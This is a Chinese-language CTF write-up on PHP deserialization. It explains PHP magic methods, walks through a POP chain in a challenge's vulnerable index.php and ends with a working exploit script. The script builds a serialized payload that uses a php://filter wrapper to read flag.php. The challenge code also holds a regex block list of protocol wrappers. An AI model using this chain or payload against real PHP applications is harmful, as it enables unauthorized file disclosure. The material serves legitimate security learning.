9 Ezpop 【POP链构造】(未完)
经典魔术方法
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
__invoke()
<?php
class CallableClass {
public function __invoke($param) {
echo "You passed $param to the object call.";
}
}
$obj = new CallableClass();
// 把对象当作函数调用,会触发 __invoke() 方法
$obj('Hello');
?>
$obj('Hello')将对象当作函数调用,此时自动将Hello参数传入给__invoke()的参数内
__toString()
<?php
class Person {
private $name;
private $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __toString() {
return "Name: {$this->name}, Age: {$this->age}";
}
}
$person = new Person('John', 30);
// 将对象当作字符串使用,会触发 __toString() 方法
echo $person;
?>
$person是Person类的对象
,使用 echo
语句将其输出成一个字符串,此时 PHP 会自动调用 $person
对象的 __toString()
方法,并输出其返回的字符串。
注意__toString()
方法必须返回一个字符串,否则会引发致命错误。
__get()
public function __get($key) {
// 用于从不可访问的属性读取数据
$function = $this->p;
return $function();
}
$key
:这是 __get
方法的一个必需参数,它代表尝试访问的属性名。
当你使用 $obj->someProperty
这样的语法访问对象 $obj
的属性 someProperty
时,如果该属性不可访问或不存在,PHP 会调用 __get
方法,并将 'someProperty'
作为 $key
的值传递进来。
CTF 例题
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
先找__wakeup(),假设我们创造了个Show实例a
__wakeup()和__toString()
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
这里将a->source和字符串作比较联想到触发__toString(也是在show类里头),如果a->source是个show类,就能触发__toString()
__toString()函数返回a->source->str->source的结果,这里看到$str和$source不在同一个类里面,就想到__get()【用于从不可访问的属性读取数据
】
__get()
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
如果a->source->str是个Test类,就能触发__get()函数,调用a->source->str->p()函数,如果a->source->str->p是个Modifier对象,就能触发__invoke()函数,进而触发append()进行文件包含
__invoke()
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
构造exp
<?php
class Modifier{
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){ //可有可无
return "H3"; //可有可无
}//可有可无
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a=new Show(' ');
$a->str=new Test();
$h3=new Show($a);
echo urlencode(serialize($h3));
?>